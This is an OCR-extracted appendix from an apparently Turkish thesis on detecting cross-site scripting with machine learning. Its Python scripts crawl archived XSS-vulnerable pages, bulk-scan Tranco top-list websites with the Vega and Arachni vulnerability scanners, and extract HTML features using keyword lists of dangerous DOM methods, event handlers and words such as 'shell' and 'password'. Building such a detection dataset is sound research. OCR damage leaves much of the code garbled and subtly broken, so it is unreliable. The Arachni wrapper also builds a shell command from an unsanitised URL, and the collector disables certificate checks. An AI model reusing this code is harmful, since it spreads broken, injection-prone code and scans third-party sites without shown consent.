vulnUrl = mirrorHtml [mirrorHtml.find("http://vuln.xssed.net/") :mirrorHtml.find(’
— ", mirrorHtml.find("http://vuln.xssed.net/"))]

trueUrl = mirrorHtml [mirrorHtml.find("URL: ") + 5:mirrorHtml.find(’</th’,
— mirrorHtml.find("URL: "))]

items = re.findall("&gt;", trueUrl)
for item in items:
truelrl = trueUrl.replace(item, n>my

items = re.findall("&lt;", truelrl)
for item in items:
truelrl = trueUrl.replace(item, W)

try:
vulnHtml = urllib.request.urlopen(vulnUrl) .read() .decode(’latin-1)

except Exception as e:
print(’\n’> + "Hata : " + FAIL + str(type(e)) + " =" + str(e) + ENDC + ’\n’)
continue

xssed.append( ( trueUrl, vulnHtml ) )
sys.stdout.write("\r" + OKBLUE + "Ilerleme durumu : " + str(kayit_sayisi -
— kalanSiteSayisi + 1) + " / " + str(kayit_sayisi) + ENDC)
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sys.stdout.flush()

kalanSiteSayisi -= 1
if (not kalanSiteSayisi):
break;

timed_out (0)
page += 1

sys.stdout.write("\r" + OKBLUE + "Ilerleme durumu : " + str(kayit_sayisi) + " / " + str(
— kayit_sayisi) + ENDC + ’> ’*10 + BOLD + OKGREEN + ’Tamamlandi!’ + ENDC + ’\n\n’)

xssed_crawler (toplanacakKayitSayisi, baslangicSayfaNo)

urls = open(dizin + "XSS_"+ str(toplanacakKayitSayisi) +"URLs.txt", ’a’, encoding=’utf-8’)

s{for i in range (len(xssed)):

urls.write(xssed[i] [0]+"\n")
f = open(dizin + ’M’ + str(i+l) + ".html", ’w’, encoding=’utf-87)
f.urite(xssed[i] [1] .1lower())
f.close()
urls.close()

Veri setini olustururken, veri setine rastgele iyicil web sayfasi Orneklerinin eklenmesi
stirecinde sayfalar Vega ve Arachni adli iki farkl1 Web zafiyet tarama araci (Penetration-test
tool) ile taranmistir. Bu iglem sonucu XSS zafiyeti tespit edilmeyen sayfalar veri setine
tyicil yani non-XSS (benign) ornekler olarak dahil edilmistir. Bu igslem sirasinda kullanilan
Python kodlar1 asagidaki gibidir. Her iki fonksiyon da girdi olarak aldig1 sayfada/URLde
XSS zafiyeti tespit ettiginde “True”, aksi durumda “False” sonucunu donmektedir.
Vega icin kullanilan Python kodunda gelistiricinin GitHub deposunda paylastig1 koddan
yararlanilmistir. (Borcherding, 2020)

### vega.py ###

2| import os

def check():

found = False
datafile = "/tmp/results"
if os.path.isfile(datafile):
for line in open(datafile):
if "<tr class=alert-row><td>Cross Site Scripting</td><td class=alert-count>" in line:
found = True
break
os.remove(datafile)
else: ## Show an error ##
print ("Error: %s file not found" % datafile)
return found

def vega(target):
import subprocess as sp
import time
import shlex
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import shutil

from py4j.java_gateway import JavaGateway
from py4j.java_collections import ListConverter

result_path = "/tmp/results"
authentication = "admin:admin"
vega_path = "/home/ozgur/vega/Vega"
#seconds to wait for Vega to start
wait_time = 10

maxScanDepth = 1

# checking if xvfb exists

if (shutil.which("xvfb-run") == None):
raise MissingDependency(’xvfb cannot be found. Please install xvfb to use the python
— interface of Vega.’)

# run vega

cmd = "xvfb-run -a " + vega_path

#process gets a new group ID so it can be stopped (including all additional created
— processes) later

vega_process = sp.Popen(shlex.split(cmd), preexec_fn=os.setsid)

print ("Started Vega from %s" J str(vega_path))

time.sleep(wait_time)

# init vega classes

gateway = JavaGateway()

scanex = gateway.entry_point.getMyScanExecutor ()
alertExporter = gateway.entry_point.getAlertExporter ()

# set values
scanex.setTarget (target)
alertExporter.setPath(result_path)

scanex.runScan()
alertExporter.exportAlertsOfLastScan()

try:
os.killpg(os.getpgif (process.pid), signatl.SIGTERM)
process.wait ()

except Exception:
pass

return check()

### arachni.py ###
import os

def arachni (target):
arachni_path = "/home/ozgur/arachni-1.5.1-0.5.12/bin"
os.chdir (arachni_path)
stream = os.popen("./arachni " + target + " --checks=xss* --scope-page-limit 1 --output-
< only-positives | grep ’\[-\] " + target + "’ | wc -1")
output = stream.read().strip()
if (int(output) !'= 0):
result=True
else:
result=False
return result
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Vega ve Arachni araclarinin sonuglarini kullanarak XSS zafiyeti icermedigi tespit edilen

web sayfalari, asagidaki Python betikleri kullanilarak iyicil 6rnekler olarak kaydedilmistir.

### nonxss_test_url_hazirla.py ###

### Bu betigin amaci TRANCO listesini kullanarak Vega ve Arachni icin bir URL
### listesi hazirlamaktir.

# -*- coding: utf-8 -*-

import csv

import os

import sys
import signal

from pathlib import Path

import urllib.request

3| from urllib.request import Request, urlopen

from urllib.error import HTTPError, URLError
import ssl

from socket import timeout

import socket

import time
betik_baslangici = time.time()

from tranco import Tranco

3|t = Tranco(cache=True, cache_dir=’.tranco’)

latest_list = t.list()
latest_list.top(10000)

baslangicKayitNo = 1
toplanacakKayitSayisi = 2500
trancofile=".tranco/" + latest_list.list_id + "-DEFAULT.csv"

# get parent directory
curr_dir = Path(__file__).parent

dizin = str(curr_dir)+"/dataset/non-xss/"

if not os.path.exists(dizin):
os.makedirs(dizin)

def timed_out (timeout) :
def decorate(f):
if not hasattr(signal, "SIGALRM"):
return f

def handler(signum, frame):
raise TimedOutExc()

@functools.wraps (f)
def new_f (*args, *xkwargs):
old = signal.signal(signal.SIGALRM, handler)
timed_out (timeout)
try:
result = f(*args, x*kwargs)
finally:
signal.signal(signal.SIGALRM, old)
timed_out (0)
return result




60
61
62
63

64

66
67
68
69

90

92
93
94
95

96

def

213

new_f.func_name = f.func_name
return new_f

return decorate

url_is_alive(url, i):
try:
_create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
# Legacy Python that doesn’t verify HTTPS certificates by default
pass
else:
# Handle target environment that doesn’t support HTTPS verification
ssl._create_default_https_context = _create_unverified_https_context

# try block to read URL
req = Request(url)
req.add_header ("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64)")

try:
html = urllib.request.urlopen(url, timeout = 5).read().decode(’utf-8’)

except HTTPError as e:
#print ("HTTP error", e)
return False

except URLError as e:
#print ("Page not found!", e)
return False

except socket.error as e:
#print ("Socket Error...", e)
return False

except ConnectionResetError as e:
#print ("Connection Reset...", e)
return False

except TimeoutError as e:
#print ("Connection Timed out...", e)
return False

except ValueError as e:
#print ("http.client.IncompleteRead...", e)
return False

except HTTPException as e:
return False

except IOError as e:
return False

except GopherError as e:
return False

except AttributeError as e:
return False
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except Exception as e:
return False

else:
f = open(dizin + "/T"+ str(i) +".html", ’w’, encoding=’utf-8’, errors=’ignore’)
f.write(str(html))
f.close()
urls.write(str(i) + "," + url+"\n")
timed_out(60) #Yineleme 1 dakikadan fazla siirerse, bu kaydi atlayalim
return True

def stringToArray(dize):
uzunluk = len(dize)
a=[]
for i in range(uzunluk) :
if dize[i] =="/":
a.append(’divide’)
else:
a.append(dize[i])
a.append(’enter’)
return a

topurls = []
with open(trancofile, ’r’) as file:
reader = csv.reader(file, skipinitialspace=True)
for row in reader:
url=row[1]
topurls.append (url)

urls = open("nonXSS_URLs.txt", ’a’, encoding=’utf-8’)
sayac_basarili=0

;| sayac_basarisiz=0

for i in range (baslangicKayitNo, baslangicKayitNo + toplanacakKayitSayisi):
print ("**x " + str(i) + ". domain kaydi isleniyor:", end=’’)

urla="https://www." + topurls[i] + "/"
urlb="https://" + topurls[i] + "/"
urlc="http://www." + topurls[i] + "/"
urld="http://" + topurls[i] + "/"

if url_is_alive(urla, i) == True:
sayac_basarili += 1
print (" + x*x")

elif url_is_alive(urlb, i) == True:
sayac_basarili += 1
print (" + xxx")

elif url_is_alive(urlc, i) == True:
sayac_basarili += 1
print (" + xxx")

elif url_is_alive(urld, i) == True:
sayac_basarili += 1

print (" + x*x")

else:
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sayac_basarisiz += 1
print (n _ ***n)

urls.close()

betik_bitisi= time.time()
zaman = betik_baslangici - betik_bitisi

print ("Sonuc Raporu: " + str(i) + " adet kayit islendi: " + str(sayac_basarili) + " adedi
— basarili, "+ str(sayac_basarisiz) + " adedi basarisiz.")
print (" Betik calisma zamani: " + str(f’{zaman:.2f}’) +" sn")

5| BOLD

### nonxss.py ###

### Bu betigin amaci nonxss_test_url_hazirla.py betiginin urettigi URL listesinden
— faydalanarak iyicil ornekleri dosya dosya kaydetmektir.

import requests

from requests.exceptions import HTTPError

from requests.exceptions import Timeout

from pathlib import Path

import urllib.request
import re

import sys

import os

import signal

import vega
import arachni

import time

# Uyari: Betigin caligmasi sirasinda bilgisayarda aktif olan Giivenlik Duvari (Firewall) /
— Saldiri

# Tespit Sistemi (Host IPS) tarzi uygulamalar betigin galismasini olumsuz
— etkileyebilmektedir.

#Sabitlerin tanimlanmasi
# get parent directory
curr_dir = Path(__file__).parent

dizin = str(curr_dir)+"/dataset/non-xss/"
taraUrlDosya = "nonXSS_URLs.txt"

#Renkler
HEADER = ’\033[95m’

2|ENDC = °>\033[0m’
3| OKGREEN = >\033[92m’

OKBLUE = °\033[94m’
’\033[1m’
’\033[91m’

FAIL

if not os.path.exists(dizin):
os.makedirs(dizin)

def timed_out (timeout) :
def decorate(f):
if not hasattr(signal, "SIGALRM"):
return f
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46 def handler(signum, frame):

47 raise TimedOutExc()

48

49 @functools.wraps (f)

50 def new_f (*args, *xkwargs):

51 old = signal.signal(signal.SIGALRM, handler)
52 timed_out (timeout)

53 try:

54 result = f(*args, x*kwargs)

55 finally:

56 signal.signal(signal.SIGALRM, old)
57 timed_out (0)

58 return result

60 new_f.func_name = f.func_name
61 return new_f

63 return decorate

65| with open(’nonXSS_URLs.txt’, ’r’) as file:

66| urls=file.read().split("\n");

67| file.close()

68| urls.pop() # dizinin son bos elemanini silelim.

701 j=1
71| for i in range(len(urls)):
72| test_vega=vega.vega(urls[i])

73 test_arachni=arachni.arachni (urls[i])

74| if test_vega == False and test_arachni == False:

75 try:

76 html = urllib.request.urlopen(urls[i] ).read().decode(’utf-8’)

77 f = open(dizin + "/B"+ str(j) +".html", ’a’, encoding=’utf-87)

78 f.write(html.lower()) # Burada sonraki iglemler igin 6n-igleme adimi olarak HTML ig
— erigin biiyiik-kiigiik harf doniigiimi yapalmigtir.

79 f.close()

80 j=j+1

81 timed_out (60*2) #Yineleme 2 dakikadan fazla siirerse, bu kaydi atlayalim

82 except Exception as e:

83 print(’\n’> + "Hata : " + FAIL + str(e.type) + " = " + str(e) + ENDC + ’\n’)

84 continue

Veri On-isleme asamasinda biiylik-kiiciik harf doniisiimii ve gereksiz bogluklarin elenmesi

i¢cin asagidaki Python betigi kullanilmistir.

1| ### onisleme.py ###

2| import re

3| import sys

4| import os

5| from pathlib import Path

7|# get parent directory
8| curr_dir = Path(__file__) .parent

10|dizin_nonxss = str(curr_dir)+'"/dataset/non-xss/"
11| dizin_xss = str(curr_dir)+"/dataset/xss/"

13| dizin_nonxss_pp = str(curr_dir)+"/dataset/non-xss-pp"
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dizin_xss_pp = str(curr_dir)+"/dataset/xss-pp"

if not os.path.exists(dizin_nonxss):
print ("Kotucul olmayan XSS ornekleri icin ’" + dizin_nonxss + "’ dizini bulunamadi!
(S Il)
sys.exit ()

if not os.path.exists(dizin_xss):
print ("Kotucul XSS ornekleri icin ’" + dizin_xss + "’ dizini bulunamadi!")
sys.exit ()

def onisleme(dizin, dizin2, filename):
f = open(dizin + "/"+ filename, ’r’, encoding=’utf-8’, errors=’ignore’)
content = f.read()
content = content.lower() #Case Normalization
content = content.replace(’ °’, ’ ’) #Removing extra spaces
content = content.strip() #Removing whitespaces
#content = content.encode(encoding = ’utf-8’, errors = ’ignore’) #kodlamayi utf-8
— yapalim
a = open(dizin2 + "/"+ filename, ’w’, encoding=’utf-8’, errors=’ignore’)
a.write(str(content))
a.close()

files_nonxss = os.listdir(dizin_nonxss)
files_xss = os.listdir(dizin_xss)

for £ in files_nonxss:
onisleme(dizin_nonxss, dizin_nonxss_pp, f)

for f in files_xss:
onisleme(dizin_xss, dizin_xss_pp, f)

Ozellik ¢ikarma asamas icin asagidaki Python betikleri kullanilmusgtur.

### HalsteadCalculator.py ###

### Bu betik, Halstead karmagiklik metrigini hesaplamak ig¢in kullanilmaktadir. Halstead
— karmagiklik metrigi, bir kodun kendisini galistirmadan karmagikligini Olgmek igin
— kullanilir.

#!/usr/bin/env python
import os

import sys

import math

# Replace following globals with appropriate values for any language
# Julia Operators taken from https://github.com/Julialang/julia/commit/71
— c0aa3e5660258af5c042058d5d8d3b82d93efb

#operators=[ll+ll,ll_ll ’Il*ll,Il\\ll,ll’*ll,ll\llll ’I|\7|l ’Il' ll,ll&lt;ll,ll&gt;ll ’Il"ll,ll&alnp;ll’ll | II,II [Il,ll] II,II(H ’Il)
s n’u;n’n:n’n%n,n’n’n!u]

#keywords=["function","global","for","end","while","if","else","elseif","break","switch","
— case","otherwise","try","catch","end","const","immutable","import","importall","

— export","type","typealias",'"return",'"true","false","macro","quote","in","abstract","

— module","using","continue","do","join","aggregate","println", "hpat","Qacc"]
operators= [n+n n_n Ny Myt n/n n'/.u Hpgn n__n n=mn Hp=n n_=—n Ny n/:
£ 3 3 3 3 s’ b b b b 3 3
oy n s n%=n s ) s [[p——Tl} s ny=n s np==n s nyn s ngn s ny=n s ng=n s nen s non s ngy"
(% " | | " , n ! n . ll&ll R nin , n~n . n-n R I|<<Il . l|>>l| s " . n R ll&lt ; " R Il&gt ; n , n~n R ll&
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alnp;ll , Il[ll . ll]ll . Il(ll , ll)ll . l|{l| R Il}ll , ll;ll . ll'/'ll R Il’ll , ll!ll]

keywords=["abstract", "alert", "all", "anchor", "anchors", "area", "arguments", "array", "

R AN

assign", "await", "await*", "blur", "boolean", "break", "button", "byte", "case", "

catch", "char", "checkbox", "class", "class*", '"clearinterval", "cleartimeout", "
clientinformation", '"close", "closed", "confirm", "const", '"comnstructor", "continue",
"crypto", '"date", '"debugger", "decodeuri", '"decodeuricomponent", "default", "
defaultstatus", "delete", "do", "document", "double", "element", "elements", "else",
"embed", "embeds", "encodeuri", "encodeuricomponent', "enum'", "enum*", "escape", "
eval", "event", "export", "export*", "extends", "extends*", "false", "fileupload", "
final", "finally", "float", "focus", "for", "form", "forms", "frame", "framerate", "

frames", "function", "getclass", "goto", "hasownproperty", "hidden", "history", "1

nfinity", "if", "image", "images'", "implements", "import", "import*", "in", "
innerheight", "innerwidth", "instanceof", "int", "interface", "isfinite", "isnan", "
isprototypeof", "java'", "javaarray", "javaclass'", "javaobject", "javapackage", "layer
", "layers", "length", "let", "let*", "link", "location", "long", "math", "mimetypes"

, "name", "nan", '"native", "navigate", "navigator", "new", "null", "number", "object"

, "offscreenbuffering", "onabort", "onafterprint", "onbeforeprint", "onbeforeunload",
"onblur", "oncanplay", "oncanplaythrough", "onchange", "onclick", "oncontextmenu", "
oncopy", "oncuechange'", "oncut'", "ondblclick", "ondrag", "ondragend", "ondragenter",
"ondragleave", '"ondragover", "ondragstart", "ondrop", "ondurationchange", "onemptied"
, "onended", "onerror", "onfocus", "onhashchange", "oninput", "oninvalid", "onkeydown
", "onkeypress'", "onkeyup'", "onload", "onloadeddata'", "onloadedmetadata", "
onloadstart", "onmessage", "onmousedown", "onmousemove'", "onmouseout", "onmouseover",
"onmouseup", "onmousewheel", "onoffline", "ononline", "onpagehide", "onpageshow", "
onpaste", "onpause", "onplay", "onplaying", "onpopstate'", "onprogress", "onratechange
", "onreset", "onresize", "onscroll", '"onsearch", "onseeked", "onseeking", "onselect"
"onstalled", "onstorage'", "onsubmit", "onsuspend", "ontimeupdate", "ontoggle", "
onunload", "onvolumechange", "onwaiting", "onwheel", "open", "opener", '"option", "
outerheight", "outerwidth", "package", "packages", "pagexoffset", "pageyoffset", "
parent", "parsefloat", "parseint", "password", "pkcsll", "plugin", "private", "prompt
", "propertyisenum", "protected", "prototype", "public", "radio", "reset", "return",
"screenx", "screeny", "script", "scroll", "secure", "select", "self", "setinterval",
"settimeout", "short", "static", "status", "string", "submit", "super", "super*", "
switch", "synchronized", "taint", "text", "textarea", "this", "throw", "throws", "top
", "tostring", "transient", "true", "try", "typeof", "undefined", "unescape", "

untaint", "valueof", "var", '"void", "volatile", '"while", "with", "yield"]

#singleline_comment_op="#"

#multiline_comment_start_op="#="

#multiline_comment_end_op="=#"

singleline_comment_op="//"

multiline_comment_start_op="/*"

multiline_comment_end_op="%*/"

ni= {}
n2={}

def filter_token(token):
tok = token
while tok:

tok = break_token(tok)

def break_token(token):
op_pos = len(token)

for op in operators:

if token.startswith(op):
if op not in ni:
nl[op]l=1
else:
nifop]l+=1
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40 return token[len(op):]
41 if op in token:

42 op_pos = min(op_pos,token.find (op))
43

44 remaing_token = token[:op_pos]
45 for keyword in keywords:

46 if remaing_token == keyword:
17 if keyword not in nl:

48 nl[keyword]=1

19 else:

50 nl[keyword] +=1

51

52 if remaing_token not in n2:

53 n2[remaing_token]=1

54 else:

55 n2[remaing_token]+=1

56

57 return token[op_pos:]

59| def measure_halstead(N1,N2,n1,n2):

60 Vocabulary = n1 + n2

61 Volume = ( N1 + N2 ) * math.log(Vocabulary,2)
62 Difficulty = ((n1 / 2) * (N2 / n2))

63 Effort = Difficulty * Volume

64 #print (Effort)

65 return f’{Difficulty:.2f}’

66

67| def filter_comments (sourcecode):

68 singleline_comment_op_pos=-1

69 multiline_comment_start_op_pos=-1
70 multiline_comment_end_op_pos=-1
71 filtered_lines = []

72 inside_comment=False

73 for line in sourcecode:

74 if not line.strip():

75 continue

76 if singleline_comment_op in line:

77 singleline_comment_op_pos = line.find(singleline_comment_op)

78 if multiline_comment_start_op in line:

79 multiline_comment_start_op_pos = line.find(multiline_comment_start_op)
80 if multiline_comment_end_op in line:

81 multiline_comment_end_op_pos = line.find(multiline_comment_end_op)
82

83 if (not inside_comment and singleline_comment_op_pos != -1):

84 filtered_lines.append(line[:singleline_comment_op_pos])

85 elif (inside_comment and multiline_comment_end_op_pos != -1):

86 inside_comment = False

87 elif (multiline_comment_start_op_pos != -1):

88 inside_comment = True

89 elif (inside_comment) :

90 inside_comment = True

91 else:

92 filtered_lines.append(line)
93 singleline_comment_op_pos=-1

94 multiline_comment_start_op_pos=-1
95 multiline_comment_end_op_pos=-1

96
97 return filtered_lines

98
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def main(sourcecode):
lines = filter_comments (sourcecode)
for line in lines:
tokens = line.strip().split()
for token in tokens:
filter_token(token)

#for key,value in nl.items():
# print(key + " = " + str(value))
return measure_halstead(sum(nl.values()),sum(n2.values()),len(nl),len(n2))

if __name__ == "__main__":
argn = len(sys.argv)
if argn != 2:
print ("Usage: python <File Path for which Halstead Metric to calculate>")
exit (1)
main(sys.argv[1])

Calisma kapsaminda belirlenen 50 6zelligin ¢ikarilmasi amaciyla yazilmig olan Python betigi

asagidaki gibidir.

### FeatureExtraction.py ###
# Python program to extract specified features from HTML files.

# Import the libraries

from bs4 import BeautifulSoup as bs #pip install beautifulsoup4
from bs4 import Comment

from py_w3c.validators.html.validator import HTMLValidator #pip install py_w3c
import re

from urllib.parse import urlparse

from dns.exception import DNSException #pip install dnspython
from dns.resolver import Resolver

import whois #pip install python-whois

import datetime

import subprocess

from collections import Counter

import HalsteadCalculator

import time

import os
import sys

2| from pathlib import Path

import html as h
from urlextract import URLExtract
extractor = URLExtract()

#Find 0S default TTL value

pl = subprocess.Popen(["ping","127.0.0.1"], stdout=subprocess.PIPE)
resl=pl.communicate () [0]

patternl = re.compile(’TTL=\d*’)

startTTL = patternl.search(str(resl)).group().split(’=’) [1]

def find_fO(htmlfile): # number_of_A_tags
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
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# Parse HTML file in Beautiful Soup
soup = bs(html, ’html.parser’)

print(sys._getframe() .f_code.co_name + " finished.")

# number of A tags
return (len(soup.find_all("a")))

find_f1(htmlfile): # number_of_ AJAX_keywords
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

keywords=[’XMLHttpRequest (’>, ’XMLHttpRequest (’, ’.abort(’, ’.abort (’, ’.
— getAllResponseHeaders(’, ’.getAllResponseHeaders (’, ’.getResponseHeader(’, .
— getResponseHeader (’, ’.open(’, ’.open (’, ’.send(’, ’.send (’, ’.setRequestHeader(’,
— ’.setRequestHeader (’, ’.onload’, ’.onreadystatechange’, ’.readyState’, ’.
— responseText’, ’.responseXML’, ’.status’, ’.statusText’]
counter = 0
for item in keywords:
counter = counter + html.count(item.lower())

print(sys._getframe() .f_code.co_name + " finished.")

# number of AJAX keywords in HTML file
return counter

find_f2(htmlfile): # number_of_AUDIO_tags
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

# Parse HTML file in Beautiful Soup
soup = bs(html, ’html.parser’)

print(sys._getframe() .f_code.co_name + " finished.")

# number of AUDIO tags
return (len(soup.find_all("audio")))

find_f3(htmlfile): # number_of_dangerous_HTML_methods
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

keywords=[’.innerHTML’>, ’.outerHTML’, ’.insertAdjacentHTML’, ’.write(’, ’.write (’, ’.
— writeln(’, ’.writeln (’, ’.createElement(’, ’.createElement (’, ’.createTextNode(’, ?’
< .createTextNode (’, ’.createContextualFragment’, ’.setAttribute(’, ’.setAttribute (’,
< ?.appendChild(’, ’.appendChild (’, ’.textContent’, ’eval(’, ’eval (’, ?’
— getElementsByTagName(’, ’getElementsByTagName (’, ’fromCharCode(’, ’fromCharCode (7,
<~ Yalert(’, ’alert (’, ’.innerText’, ’.data’]
counter = 0
for item in keywords:

counter = counter + html.count(item.lower())

print(sys._getframe() .f_code.co_name + " finished.")

# number of dangerous HTML methods in HTML file
return counter

find_f4(htmlfile): # number_of_DIV_tags
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# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

# Parse HTML file in Beautiful Soup
soup = bs(html, ’html.parser’)

print(sys._getframe() .f_code.co_name + " finished.")

# number of DIV tags
return (len(soup.find_all("div")))

find_f5(htmlfile): # number_of_DOM-modification_keywords
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

keywords=[’appendChild(’, ’appendChild (’, ’cloneNode(’, ’cloneNode (’, ’
compareDocumentPosition(’, ’compareDocumentPosition (’, ’innerHTML’, °
insertAdjacentHTML(’, ’insertAdjacentHTML (’, ’insertAdjacentElement’, ’insertBefore(
>, ’insertBefore (’, ’isEqualNode(’, ’isEqualNode (’, ’isSameNode(’, ’isSameNode (°,
>outerHTML’, ’removeChild(’, ’removeChild (’, ’replaceChild(’, ’replaceChild (’, °
createElement (’, ’createElement (’, ’createTextNode(’, ’createTextNode (’, °’.
replaceWith(?, ’.replaceWith (]

counter = 0

USRS

for item in keywords:
counter = counter + html.count(item.lower())

print(sys._getframe() .f_code.co_name + " finished.")

# number of DOM-modification keywords in HTML file
return counter

find_f6(htmlfile): # number_of_double_quoted_attributes
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

print(sys._getframe() .f_code.co_name + " finished.")

# number of double-quoted attributes in HTML file
return len(re.findall(xr’="(.*?[~\\]1)"’,html))

find_£7(htmlfile): # number_of_ EMBED_tags
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

# Parse HTML file in Beautiful Soup
soup = bs(html, ’html.parser’)

print(sys._getframe() .f_code.co_name + " finished.")

# number of EMBED tags
return (len(soup.find_all("embed")))

find_f8(htmlfile): # number_of_event_handlers
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

keywords=[’onAbort’, ’onBlur’, ’onChange’, ’onClick’, ’onDblClick’, ’onDragDrop’, ’
— onError’, ’onFocus’, ’onKeyDown’, ’onKeyPress’, ’onKeyUp’, ’onLoad’, ’onMouseDown’, ’

— onMouseMove’, ’onMouselut’, ’onMouseOver’, ’onMouseUp’, ’onMove’, ’onReset’, ’
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onResize’, ’onSelect’, ’onSubmit’, ’onUnload’, ’onauxclick’, ’oncancel’, ’oncanplay’,

’oncanplaythrough’, ’onclose’, ’oncontextmenu’, ’oncuechange’, ’ondrag’, ’ondragend’
, ’ondragenter’, ’ondragexit’, ’ondragleave’, ’ondragover’, ’ondragstart’, ’ondrop’,
’ondurationchange’, ’onemptied’, ’onended’, ’onformdata’, ’oninput’, ’oninvalid’, ’
onloadeddata’, ’onloadedmetadata’, ’onloadstart’, ’onmouseenter’, ’onmouseleave’, ’
onpause’, ’onplay’, ’onplaying’, ’onprogress’, ’onratechange’, ’
onsecuritypolicyviolation’, ’onseeked’, ’onseeking’, ’onslotchange’, ’onstalled’, ’
onsuspend’, ’ontimeupdate’, ’ontoggle’, ’onvolumechange’, ’onwaiting’, ’
onwebkitanimationend’, ’onwebkitanimationiteration’, ’onwebkitanimationstart’, ’
onwebkittransitionend’, ’onwheel’, ’onscroll’, ’onafterprint’, ’onbeforeprint’, °’
onbeforeunload’, ’onhashchange’, ’onlanguagechange’, ’onmessage’, ’onmessageerror’, ’
onoffline’, ’ononline’, ’onpagehide’, ’onpageshow’, ’onpopstate’, ’onrejectionhandled
>, ’onstorage’, ’onunhandledrejection’, ’oncut’, ’oncopy’, ’onpaste’, ’onactivate’, ’
onafterscriptexecute’, ’onanimationcancel’, ’onanimationend’, ’onanimationiteration’,

’onanimationstart’, ’onbeforeactivate’, ’onbeforecopy’, ’onbeforecut’, ’
onbeforedeactivate’, ’onbeforepaste’, ’onbeforescriptexecute’, ’onbegin’, ’onbounce’,

’ondeactivate’, ’onend’, ’onfinish’, ’onfocusin’, ’onfocusout’, ’onfullscreenchange’
, ’onloadend’, ’onmousewheel’, ’onmozfullscreenchange’, ’onpointerdown’, ’
onpointerenter’, ’onpointerleave’, ’onpointermove’, ’onpointerout’, ’onpointerover’,
’onpointerrawupdate’, ’onpointerup’, ’onreadystatechange’, ’onrepeat’, ’onsearch’, ’
onselectionchange’, ’onselectstart’, ’onshow’, ’onstart’, ’ontouchend’, ’ontouchmove’
, ’ontouchstart’, ’ontransitioncancel’, ’ontransitionend’, ’ontransitionrun’, °’
ontransitionstart’]

counter = 0

for item in keywords:

counter = counter + html.count(item.lower())

print(sys._getframe() .f_code.co_name + " finished.")

# number of event handlers in HTML file

return counter

find_f9(htmlfile): # number_of_evil_characters_in_scripts
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

# Parse HTML file in Beautiful Soup
soup = bs(html, ’html.parser’)

counter = 0

evil_char_list=[ll&ll, ll<ll, I|>Il, IIHII, Il‘ll, Il/ll, Il\\ll’ ll’ll’ ll'/'ll, 7l|), Il)ll]

for scripts in soup.find_all(’script’):

for code in scripts:
# find all evil chars
for character in code:
if character in evil_char_list:
counter += 1

print(sys._getframe() .f_code.co_name + " finished.")

# number of evil characters in scripts

return counter

def find_f10(htmlfile): # number_of_external_iframe_sources
# Open and read the HTML file
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174 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
175

176 # Parse HTML file in Beautiful Soup

177 soup = bs(html, ’html.parser’)

178

179 counter = 0

180

181 for link in soup.find_all(’iframe’, href=True):

182 if len(extractor.find_urls(link[’href’])) > O0:
183 counter += 1

184

185 print(sys._getframe() .f_code.co_name + " finished.")
186

187 # number of external IFRAME sources

188 return counter

190| def find_f11(htmlfile): # number_of_external_script_sources

191 # Open and read the HTML file

192 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
193

194 # Parse HTML file in Beautiful Soup

195 soup = bs(html, ’html.parser’)

196

197 counter = 0

198

199 for 1link in soup.find_all(’script’, href=True):

200 if len(extractor.find_urls(link[’href’])) > O:

201 counter += 1

202

203 # number of external SCRIPT sources

204 return counter

205

26| def find_f12(htmlfile): # number_of_external URLs_referenced_within_the_scripts
207 # Open and read the HTML file

208 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
209

210 # Parse HTML file in Beautiful Soup

211 soup = bs(html, ’html.parser’)

212

213 counter = 0

214

215 for scripts in soup.find_all(’script’):

216 for script in scripts:

217 if len(extractor.find_urls(script)) > O:

218 counter += 1

219

220 print(sys._getframe() .f_code.co_name + " finished.")

221

222 # number of external URLs referenced within the scripts
223 return counter

25|def find_f13(htmlfile): # number_of FRAME_tags

226 # Open and read the HTML file

227 html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()
228

229 # Parse HTML file in Beautiful Soup

230 soup = bs(html, ’html.parser’)

232 print(sys._getframe() .f_code.co_name + " finished.")
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# number of FRAME tags
return (len(soup.find_all("frame")))

find_f14(htmlfile): # number_of_function_calls_made_by_the_scripts
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

# Parse HTML file in Beautiful Soup
soup = bs(html, ’html.parser’)

counter = 0
for scripts in soup.find_all(’script?’):
for link in scripts:
counter = counter + len(re.findall(r'"function\s?\(",link))

print(sys._getframe() .f_code.co_name + " finished.")

# number of function calls made by the scripts
return counter

find_f15(htmlfile): # number_of GET_parameters
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

# Parse HTML file in Beautiful Soup
soup = bs(html, ’html.parser’)

print(sys._getframe() .f_code.co_name + " finished.")

# number of GET parameters
return (len(soup.find_all("form", method="get")))

find_f16(htmlfile): # number_of_harmful-sensitive_keywords
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

keywords=[’XSS’, ’banking’, ’redirect’, ’root’, ’password’, ’crypt’, ’shell’, ’spray’, °

— evil’]
counter = 0

for item in keywords:
counter = counter + html.count(item.lower())

print(sys._getframe() .f_code.co_name + " finished.")

# number of harmful-sensitive keywords
return counter

find_£f17 (htmlfile): # number_of_hidden_inputs
# Open and read the HTML file
html = open(htmlfile, ’r’, encoding=’utf-8’, errors=’ignore’).read()

# Parse HTML file in Beautiful Soup
soup = bs(html, ’html.parser’)

